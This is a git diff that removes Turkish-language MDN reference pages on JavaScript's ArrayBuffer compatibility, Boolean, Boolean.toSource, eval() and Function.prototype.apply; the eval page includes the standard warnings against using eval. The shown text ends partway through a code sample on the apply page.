-<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel Destek</td> - <td>7.0</td> - <td>{{CompatGeckoDesktop("2")}}</td> - <td>10</td> - <td>11.6</td> - <td>5.1</td> - </tr> - <tr> - <td><code>ArrayBuffer()</code> <code>new</code> fırlatmadan</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoDesktop("44")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatNo}} {{CompatGeckoDesktop("53")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel Destek</td> - <td>4.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("2")}}</td> - <td>10</td> - <td>11.6</td> - <td>4.2</td> - </tr> - <tr> - <td><code>ArrayBuffer()</code> <code>new</code> fırlatmadan</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile("44")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatNo}} {{CompatGeckoMobile("53")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Uyumluluk_Notları">Uyumluluk Notları</h2> - -<p> ECMAScript 2015'ten başlamak üzere, ArrayBuffer constructor'ları bir {{jsxref("Operators/new", "new")}} operatörü aracılığıyla inşa edilmeye ihtiyaç duymaktadır.<font face="Consolas, Liberation Mono, Courier, monospace"> Artık </font><code>new</code> fonksiyonu kullanmadan bir ArrayBuffer constructor'ı çağırmak, bir {{jsxref("TypeError")}} fırlatacaktır.</p> - -<pre class="brush: js example-bad">var dv = ArrayBuffer(10); -// TypeError:<code>new </code>komutu olmadan -// Gömülü bir ArrayBuffer constructor'u çağırmak </pre> - -<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Yazılmış JavaScript Dizileri</a></li> - <li>{{jsxref("SharedArrayBuffer")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/boolean/index.html b/files/tr/web/javascript/reference/global_objects/boolean/index.html deleted file mode 100644 index 532b7b02c9..0000000000 --- a/files/tr/web/javascript/reference/global_objects/boolean/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: Boolean (Mantıksal Veri Tipi) -slug: Web/JavaScript/Reference/Global_Objects/Boolean -tags: - - Boolean - - JavaScript - - Veri - - kurucu - - mantıksal - - tipi -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean ---- -<div>{{JSRef}}</div> - -<p><strong><code>Boolean</code></strong> nesnesi, bir boolean değeri için bir nesne sarmalayıcıdır.</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">new Boolean([<em>değer</em>])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">değer</span></font></dt> - <dd>Opsiyonel. Boolean nesnesinin başlangıç değeri.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Eğer gerekli ise ilk parametre yerine geçen değer boolean değerine dönüştürülür.Eğer değer verilmediyse , 0 ,-0, {{jsxref("null")}}, false, {{jsxref("NaN")}}, {{jsxref("undefined")}}, ya da boş string ("") ise nesnenin ilk değeri false olur.DOM nesnesi {{domxref ("document.all")}} parametre olarak iletilirse, yeni boolean nesnesinin başlangıç değeri de false olur. Herhangi bir nesne veya "false" dizesi dahil olmak üzere diğer tüm değerler, başlangıç değeri true olan bir nesne oluşturur.</p> - -<p>İlkel Boolean değerlerini true ve false ile Boolean nesnesinin true ve false değerleriyle karıştırmayın.</p> - -<p>Değeri false olan bir Boolean nesnesi de dahil olmak üzere, {{jsxref ("undefined")}} veya {{jsxref ("null")}} olmayan herhangi bir nesne, şartlı ifadeye geçirildiğinde true olarak değerlendirilir. Örneğin, aşağıdaki {{jsxref ("İfadeler/if...else", "if")}} deyimindeki koşul true olarak değerlendirilir:</p> - -<pre class="brush: js">var x = new Boolean(false); -if (x) { - // bu kod gerçekleşti. -} -</pre> - -<p>Bu davranış, Boolean ilkelleri için geçerli değildir. Örneğin, aşağıdaki {{jsxref ("İfadeler / if ... else", "if")}} deyimindeki koşul false olarak değerlendirilir:</p> - -<pre class="brush: js">var x = false; -if (x) { - // bu kod gerçekleşmedi. -} -</pre> - -<p>Boolean olmayan bir değeri bir boolean değerine dönüştürmek için bir Boolean nesnesi kullanmayın. Bunun yerine, bu görevi yerine getirmek için bir işlev olarak Boolean'ı kullanın:</p> - -<pre class="brush: js">var x = Boolean(expression); // tercih edilen -var x = new Boolean(expression); // kullanma -</pre> - -<p>Bir Boolean nesnesi de dahil olmak üzere herhangi bir nesneyi bir Boolean nesnesinin başlangıç değerini false olarak belirterseniz, yeni Boolean nesnesinin değeri true olur.</p> - -<pre class="brush: js">var myFalse = new Boolean(false); // ilk değer false -var g = Boolean(myFalse); // ilk değer true -var myString = new String('Hello'); // string nesnesi -var s = Boolean(myString); // ilk değer true -</pre> - -<p>Boolean ilkelinin yerine bir Boolean nesnesi kullanmayın.</p> - -<h2 id="Özellikleri">Özellikleri</h2> - -<dl> - <dt><code>Boolean.length</code></dt> - <dd>Uzunluk özelliğinin değeri 1.</dd> - <dt>{{jsxref("Boolean.prototype")}}</dt> - <dd>Boolean yapıcısının prototipini temsil eder.</dd> -</dl> - -<h2 id="Metodlar">Metodlar</h2> - -<p>Genel Boolean nesnesi kendine özgü bir yöntem içermese de, prototip zinciri boyunca bazı yöntemleri devralır:</p> - -<h2 id="Boolean_örnekleri"><code>Boolean</code> örnekleri</h2> - -<p>Tüm Boolean örnekleri {{jsxref ("Boolean.prototype")}} 'den devralınır. Tüm yapıcılarda olduğu gibi, prototip nesne örneklerin kalıtsal özelliklerini ve yöntemlerini belirler.</p> - -<h3 id="Özellikleri_2">Özellikleri</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Properties')}}</div> - -<h3 id="Metodlar_2">Metodlar</h3> - -<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Methods')}}</div> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="ilk_değeri_false_olan_Boolean_nesnesi_oluşturma">ilk değeri <code>false</code> olan <code>Boolean</code> nesnesi oluşturma </h3> - -<pre class="brush: js">var bNoParam = new Boolean(); -var bZero = new Boolean(0); -var bNull = new Boolean(null); -var bEmptyString = new Boolean(''); -var bfalse = new Boolean(false); -</pre> - -<h3 id="ilk_değeri_true_olan_Boolean_nesnesi_oluşturma">ilk değeri <code>true</code> olan <code>Boolean</code> nesnesi oluşturma</h3> - -<pre class="brush: js">var btrue = new Boolean(true); -var btrueString = new Boolean('true'); -var bfalseString = new Boolean('false'); -var bSuLin = new Boolean('Su Lin'); -var bArrayProto = new Boolean([]); -var bObjProto = new Boolean({}); -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>İlk tanım. JavaScript 1.0'da uygulanmaktadır.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> - -<p>{{Compat("javascript.builtins.Boolean")}} </p> -</div> - -<h2 id="Ayrıca_bakınız"><br> - Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Boolean.prototype")}}</li> - <li>{{Glossary("Boolean")}}</li> - <li><a href="http://en.wikipedia.org/wiki/Boolean_data_type">Boolean veri tipi (Vikipedi)</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html b/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html deleted file mode 100644 index 1d304fc29f..0000000000 --- a/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Boolean.prototype.toSource() -slug: Web/JavaScript/Reference/Global_Objects/Boolean/toSource -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource ---- -<div>{{JSRef}} {{non-standard_header}}</div> - -<p>ToSource () metodu, nesnenin kaynak kodunu temsil eden bir dize döndürür.</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox"><var>booleanObj</var>.toSource() -Boolean.toSource()</pre> - -<h3 id="Return_değeri">Return değeri</h3> - -<p>Nesnenin kaynak kodunu temsil eden bir dize.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>toSource</code> metodu aşağıdaki değerleri döndürür:</p> - -<ul> - <li>Yerleşik(built-in) {{jsxref ("Boolean")}} nesne için toSource, kaynak kodun mevcut olmadığını belirten aşağıdaki dizeyi döndürür: - <pre class="brush: js">function Boolean() { - [native code] -} -</pre> - </li> - <li>{{Jsxref ("Boolean")}} örneği için toSource, kaynak kodunu temsil eden bir dize döndürür.</li> -</ul> - -<p>This method is usually called internally by JavaScript and not explicitly in code.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<p>Herhangi bir standardın parçası değil. JavaScript 1.3'te uygulandı. 1.3.</p> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> - -<p>{{Compat("javascript.builtins.Boolean.toSource")}}</p> -</div> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/eval/index.html b/files/tr/web/javascript/reference/global_objects/eval/index.html deleted file mode 100644 index 1b91b418ce..0000000000 --- a/files/tr/web/javascript/reference/global_objects/eval/index.html +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: eval() -slug: Web/JavaScript/Reference/Global_Objects/eval -translation_of: Web/JavaScript/Reference/Global_Objects/eval ---- -<div>{{jsSidebar("Objects")}}</div> - -<p><code><strong>eval()</strong></code> fonksiyonu JavaScript kodunu bir String gibi değerlendirir.</p> - -<div>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</div> - - - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox"><code>eval(<em>string</em>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>string</code></dt> - <dd>A string representing a JavaScript expression, statement, or sequence of statements. The expression can include variables and properties of existing objects.</dd> -</dl> - -<h3 id="Return_değeri">Return değeri</h3> - -<p>The completion value of evaluating the given code. If the completion value is empty, {{jsxref("undefined")}} is returned.</p> - -<h2 id="Description">Description</h2> - -<p><code>eval()</code> is a function property of the global object.</p> - -<p>The argument of the <code>eval()</code> function is a string. If the string represents an expression, <code>eval()</code> evaluates the expression. If the argument represents one or more JavaScript statements, <code>eval()</code> evaluates the statements. Do not call <code>eval()</code> to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically.</p> - -<p>If you construct an arithmetic expression as a string, you can use <code>eval()</code> to evaluate it at a later time. For example, suppose you have a variable <code>x</code>. You can postpone evaluation of an expression involving <code>x</code> by assigning the string value of the expression, say "<code>3 * x + 2</code>", to a variable, and then calling <code>eval()</code> at a later point in your script.</p> - -<p>If the argument of <code>eval()</code> is not a string, <code>eval()</code> returns the argument unchanged. In the following example, the <code>String</code> constructor is specified and <code>eval()</code> returns a <code>String</code> object rather than evaluating the string.</p> - -<pre class="brush:js">eval(new String('2 + 2')); // returns a String object containing "2 + 2" -eval('2 + 2'); // returns 4 -</pre> - -<p>You can work around this limitation in a generic fashion by using <code>toString()</code>.</p> - -<pre class="brush:js">var expression = new String('2 + 2'); -eval(expression.toString()); // returns 4 -</pre> - -<p>If you use the <code>eval</code> function <em>indirectly,</em> by invoking it via a reference other than <code>eval</code>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2">as of ECMAScript 5</a> it works in the global scope rather than the local scope. This means, for instance, that function declarations create global functions, and that the code being evaluated doesn't have access to local variables within the scope where it's being called.</p> - -<pre class="brush:js">function test() { - var x = 2, y = 4; - console.log(eval('x + y')); // Direct call, uses local scope, result is 6 - var geval = eval; // equivalent to calling eval in the global scope - console.log(geval('x + y')); // Indirect call, uses global scope, throws ReferenceError because `x` is undefined - (0, eval)('x + y'); // another example of Indirect call -} -</pre> - -<h2 id="Do_not_ever_use_eval!">Do not ever use <code>eval</code>!</h2> - -<p><code>eval()</code> is a dangerous function, which executes the code it's passed with the privileges of the caller. If you run <code>eval()</code> with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage / extension. More importantly, a third-party code can see the scope in which <code>eval()</code> was invoked, which can lead to possible attacks in ways to which the similar {{jsxref("Global_Objects/Function", "Function")}} is not susceptible.</p> - -<p><code>eval()</code> is also slower than the alternatives, since it has to invoke the JS interpreter, while many other constructs are optimized by modern JS engines.</p> - -<p>Additionally, modern javascript interpreters convert javascript to machine code. This means that any concept of variable naming gets obliterated. Thus, any use of eval will force the browser to do long expensive variable name lookups to figure out where the variable exists in the machine code and set its value. Additonally, new things can be introduced to that variable through <code>eval()</code> such as changing the type of that variable, forcing the browser to reevaluate all of the generated machine code to compensate. However, there (thankfully) exists a very good alternative to eval: simply using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">window.Function</a>. As an example of how you convert code using evil <code>eval()</code> to using <code>Function</code><code>()</code>, see below.</p> - -<p>Bad code with eval:</p> - -<pre class="brush:js">function looseJsonParse(obj){ - return eval(obj); -} -console.log(looseJsonParse( - "{a:(4-1), b:function(){}, c:new Date()}" -)) -</pre> - -<p>Better code without eval:</p> - -<pre class="brush:js">function looseJsonParse(obj){ - return Function('"use strict";return (' + obj + ')')(); -} -console.log(looseJsonParse( - "{a:(4-1), b:function(){}, c:new Date()}" -)) -</pre> - -<p>Comparing the two code snippets above, the two code snippets might seem to work the same way, but think again: the eval one is a huge amount slower. Notice <code>c: new Date()</code> in the evaluated object. In the function without the eval, the object is being evaluated in the global scope, so it is safe for the browser to assume that <code>Date</code> refers to <code>window.Date</code> instead of a local variable called <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Date</span></font>. But, in the code using <code>eval()</code>, the browser cannot assume this since what if your code looked like the following:</p> - -<pre class="brush:js">function Date(n){ - return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0]; -} -function looseJsonParse(obj){ - return eval(obj); -} -console.log(looseJsonParse( - "{a:(4-1), b:function(){}, c:new Date()}" -)) -</pre> - -<p>Thus, in the <code>eval()</code> version of the code, the browser is forced to make the expensive lookup call to check to see if there are any local variables called <code>Date()</code>. This is incredibly inefficient compared to <code>Function()</code>.</p> - -<p>In a related circumstance, what if you actually wanted your <code>Date</code> function to be able to be called from the code inside <code>Function()</code>. Should you just wimp out and fall back to <code>eval()</code>? Absolutely not, never ever. Instead try the approach below.</p> - -<pre class="brush:js">function Date(n){ - return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0]; -} -function runCodeWithDateFunction(obj){ - return Function('"use strict";return (' + obj + ')')()( - Date - ); -} -console.log(runCodeWithDateFunction( - "function(Date){ return Date(5) }" -)) -</pre> - -<p>The code above may seem inefficiently slow because of the triple nested function, but let's analyse the benefits of the above efficient method:</p> - -<p>1. It allows the code in the string passed to <code>runCodeWithDateFunction</code> to be minified.</p> - -<p>2. Function call overhead is minimal, making the far smaller code size well worth the benefit</p> - -<p>3. <code>Function()</code> more easily allows your code to utilize the performance buttering <code>"use strict";</code></p> - -<p>4. The code does not use <code>eval()</code>, making it orders of magnitude faster than otherwise.</p> - -<p>Lastly, let's examine minification. With using <code>Function()</code> as shown above, you can minify the code string passed to <code>runCodeWithDateFunction</code> far more efficiently because the function arguments names can be minified too as seen in the minified code below.</p> - -<pre class="brush:js">console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){ -return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));</pre> - -<p>There are also additional safer (and faster!) alternatives to <code>eval()</code> or <code>Function()</code> for common use-cases.</p> - -<h3 id="Accessing_member_properties">Accessing member properties</h3> - -<p>You should not use <code>eval()</code> to convert property names into properties. Consider the following example where the property of the object to be accessed is not known until the code is executed. This can be done with eval:</p> - -<pre class="brush:js">var obj = { a: 20, b: 30 }; -var propName = getPropName(); // returns "a" or "b" - -eval( 'var result = obj.' + propName ); -</pre> - -<p>However, <code>eval()</code> is not necessary here. In fact, its use here is discouraged. Instead, use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">property accessors</a>, which are much faster and safer:</p> - -<pre class="brush:js">var obj = { a: 20, b: 30 }; -var propName = getPropName(); // returns "a" or "b" -var result = obj[ propName ]; // obj[ "a" ] is the same as obj.a</pre> - -<p>You can even use this method to access descendant properties. Using <code>eval()</code> this would look like:</p> - -<pre class="brush:js">var obj = {a: {b: {c: 0}}}; -var propPath = getPropPath(); // returns e.g. "a.b.c" - -eval( 'var result = obj.' + propPath ); -</pre> - -<p>Avoiding <code>eval()</code> here could be done by splitting the property path and looping through the different properties:</p> - -<pre class="brush:js">function getDescendantProp(obj, desc) { - var arr = desc.split('.'); - while (arr.length) { - obj = obj[arr.shift()]; - } - return obj; -} - -var obj = {a: {b: {c: 0}}}; -var propPath = getPropPath(); // returns e.g. "a.b.c" -var result = getDescendantProp(obj, propPath);</pre> - -<p>Setting a property that way works similarly:</p> - -<pre class="brush:js">function setDescendantProp(obj, desc, value) { - var arr = desc.split('.'); - while (arr.length > 1) { - obj = obj[arr.shift()]; - } - return obj[arr[0]] = value; -} - -var obj = {a: {b: {c: 0}}}; -var propPath = getPropPath(); // returns e.g. "a.b.c" -var result = setDescendantProp(obj, propPath, 1); // test.a.b.c will now be 1</pre> - -<h3 id="Use_functions_instead_of_evaluating_snippets_of_code">Use functions instead of evaluating snippets of code</h3> - -<p>JavaScript has <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">first-class functions</a>, which means you can pass functions as arguments to other APIs, store them in variables and objects' properties, and so on. Many DOM APIs are designed with this in mind, so you can (and should) write:</p> - -<pre class="brush: js">// instead of setTimeout(" ... ", 1000) use: -setTimeout(function() { ... }, 1000); - -// instead of elt.setAttribute("onclick", "...") use: -elt.addEventListener('click', function() { ... } , false); </pre> - -<p><a href="/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">Closures</a> are also helpful as a way to create parameterized functions without concatenating strings.</p> - -<h3 id="Parsing_JSON_(converting_strings_to_JavaScript_objects)">Parsing JSON (converting strings to JavaScript objects)</h3> - -<p>If the string you're calling <code>eval()</code> on contains data (for example, an array: <code>"[1, 2, 3]"</code>), as opposed to code, you should consider switching to <a href="/en-US/docs/Glossary/JSON" title="JSON">JSON</a>, which allows the string to use a subset of JavaScript syntax to represent data. See also <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a>.</p> - -<p>Note that since JSON syntax is limited compared to JavaScript syntax, many valid JavaScript literals will not parse as JSON. For example, trailing commas are not allowed in JSON, and property names (keys) in object literals must be enclosed in quotes. Be sure to use a JSON serializer to generate strings that will be later parsed as JSON.</p> - -<h3 id="Pass_data_instead_of_code">Pass data instead of code</h3> - -<p>For example, an extension designed to scrape contents of web-pages could have the scraping rules defined in <a href="/en-US/docs/XPath" title="XPath">XPath</a> instead of JavaScript code.</p> - -<h3 id="Run_code_with_limited_privileges">Run code with limited privileges</h3> - -<p>If you must run the code, consider running it with reduced privileges. This advice applies mainly to extensions and XUL applications, which can use <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a> for this.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_eval">Using <code>eval</code></h3> - -<p>In the following code, both of the statements containing <code>eval()</code> return 42. The first evaluates the string "<code>x + y + 1</code>"; the second evaluates the string "<code>42</code>".</p> - -<pre class="brush:js">var x = 2; -var y = 39; -var z = '42'; -eval('x + y + 1'); // returns 42 -eval(z); // returns 42 -</pre> - -<h3 id="Using_eval_to_evaluate_a_string_of_JavaScript_statements">Using <code>eval</code> to evaluate a string of JavaScript statements</h3> - -<p>The following example uses <code>eval()</code> to evaluate the string <code>str</code>. This string consists of JavaScript statements that open an alert dialog box and assign <code>z</code> a value of 42 if <code>x</code> is five, and assigns 0 to <code>z</code> otherwise. When the second statement is executed, <code>eval()</code> will cause these statements to be performed, and it will also evaluate the set of statements and return the value that is assigned to <code>z</code>.</p> - -<pre class="brush:js">var x = 5; -var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0;"; - -console.log('z is ', eval(str));</pre> - -<p>If you define multiple values then the last value is returned.</p> - -<pre class="brush:js">var x = 5; -var str = "if (x == 5) {console.log('z is 42'); z = 42; x = 420; } else z = 0;"; - -console.log('x is ', eval(str)); // z is 42 x is 420 -</pre> - - - -<h3 id="Last_expression_is_evaluated">Last expression is evaluated</h3> - -<p><code>eval()</code> returns the value of the last expression evaluated.</p> - -<pre class="brush:js">var str = 'if ( a ) { 1 + 1; } else { 1 + 2; }'; -var a = true; -var b = eval(str); // returns 2 - -console.log('b is : ' + b); - -a = false; -b = eval(str); // returns 3 - -console.log('b is : ' + b);</pre> - -<h3 id="eval_as_a_string_defining_function_requires_(_and_)_as_prefix_and_suffix"><code>eval</code> as a string defining function requires "(" and ")" as prefix and suffix</h3> - -<pre class="brush:js">var fctStr1 = 'function a() {}' -var fctStr2 = '(function a() {})' -var fct1 = eval(fctStr1) // return undefined -var fct2 = eval(fctStr2) // return a function -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.eval")}}</p> - -<h2 id="Firefox-specific_notes">Firefox-specific notes</h2> - -<ul> - <li>Historically <code>eval()</code> had an optional second argument, specifying an object in whose context the evaluation was to be performed. This argument was non-standard, and was definitely removed from Firefox 4. See {{bug(531675)}}.</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts">WebExtensions: Using eval in content scripts</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/function/apply/index.html b/files/tr/web/javascript/reference/global_objects/function/apply/index.html deleted file mode 100644 index 5a82d226a3..0000000000 --- a/files/tr/web/javascript/reference/global_objects/function/apply/index.html +++ /dev/null @@ -1,262 +0,0 @@ ---- -title: Function.prototype.apply() -slug: Web/JavaScript/Reference/Global_Objects/Function/apply -translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply ---- -<div>{{JSRef}}</div> - -<p><code><strong>apply()</strong></code> methodu ile verilen bir "this" değeri ve diziyi(ya da dizi benzeri bir nesneyi) kullanarak bağımsız değişkenlerle bir işlevi(function) çağırır.</p> - -<div class="note"> -<p><strong>Not:</strong> <strong>call() , apply() </strong>syntaxları sizin de dikkat ettiğiniz gibi aynıdır. farkları şudur: <strong>call() </strong>: bir argüman listesini argüman olarak alırken, <strong>apply() </strong>argümanlardan oluşmuş bir array'ı argüman olarak kabul alır. </p> -</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>fun</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>thisArg</code></dt> - <dd>fun' ı çağırmak için atanan this in değeridir. Unutmayın, this,method tarafından görülen gerçek değer olmayabilir.: eğer method{{jsxref("Strict_mode", "non-strict mode", "", 1)}} içindeki bir kod ise{{jsxref("null")}}ve {{jsxref("undefined")}}global object ile yer değiştirecek, ve ilk değerleri saklanacak.</dd> - <dt><code>argsArray</code></dt> - <dd> - <p>Eğer fonkiyona hiç bir parametre verilmeyecekse dizi benzeri bir nesne (çağrılacak fun'ın argümanlarını belirler), veya {{jsxref("null")}} veya {{jsxref("undefined")}}. ECMAScript 5 ile, bu argümanlar dizi yerine eşdeğer dizi benzeri nesne olabilir. {{anch("Browser_compatibility", "browser compatibility")}} için aşağıya bakın.</p> - </dd> -</dl> - -<h3 id="Dönen_değer">Dönen değer</h3> - -<p><strong><code>this</code></strong> değeri ve argümanlar ile çağrılan fonksiyonun sonucu.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Varolan bir fonksiyonu çağırdığınızda farklı bir <strong>this</strong> objesi atayabilirsiniz. Burada <strong>this</strong> geçerli nesneyi (çağıran objeyi ) ifade eder. <strong>Apply</strong> ile bir kez yazılmış bir methodu başka bir objeden miras alarak aynı fonksiyonu tekrar yazmaktan kurtulmuş olursunuz. </p> - -<p><code>apply</code> is very similar to {{jsxref("Function.call", "call()")}}, except for the type of arguments it supports. You can use an arguments array instead of a named set of parameters. With <code>apply</code>, you can use an array literal, for example, <code><em>fun</em>.apply(this, ['eat', 'bananas'])</code>, or an {{jsxref("Array")}} object, for example, <code><em>fun</em>.apply(this, new Array('eat', 'bananas'))</code>.</p> - -<p>You can also use {{jsxref("Functions/arguments", "arguments")}} for the <code>argsArray</code> parameter. <code>arguments</code> is a local variable of a function. It can be used for all unspecified arguments of the called object. Thus, you do not have to know the arguments of the called object when you use the <code>apply</code> method. You can use <code>arguments</code> to pass all the arguments to the called object. The called object is then responsible for handling the arguments.</p> - -<p>Since ECMAScript 5th Edition you can also use any kind of object which is array-like, so in practice this means it's going to have a property <code>length</code> and integer properties in the range <code>(0...length-1)</code>. As an example you can now use a {{domxref("NodeList")}} or a custom object like <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code>.</p> - -<div class="note"> -<p>Most browsers, including Chrome 14 and Internet Explorer 9, still do not accept array-like objects and will throw an exception.</p> -</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_apply_to_chain_constructors">Using <code>apply</code> to chain constructors</h3> - -<p>You can use <code>apply</code> to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called <code>construct</code>, which will enable you to use an array-like object with a constructor instead of an arguments list.</p> - -<pre class="brush: js">Function.prototype.construct = function (aArgs) { - var oNew = Object.create(this.prototype); - this.apply(oNew, aArgs); - return oNew; -}; -</pre> - -<div class="note"> -<p><strong>Note:</strong> The <code>Object.create()</code> method used above is relatively new. For an alternative method using closures, please consider the following alternative:</p> - -<pre class="brush: js">Function.prototype.construct = function(aArgs) { - var fConstructor = this, 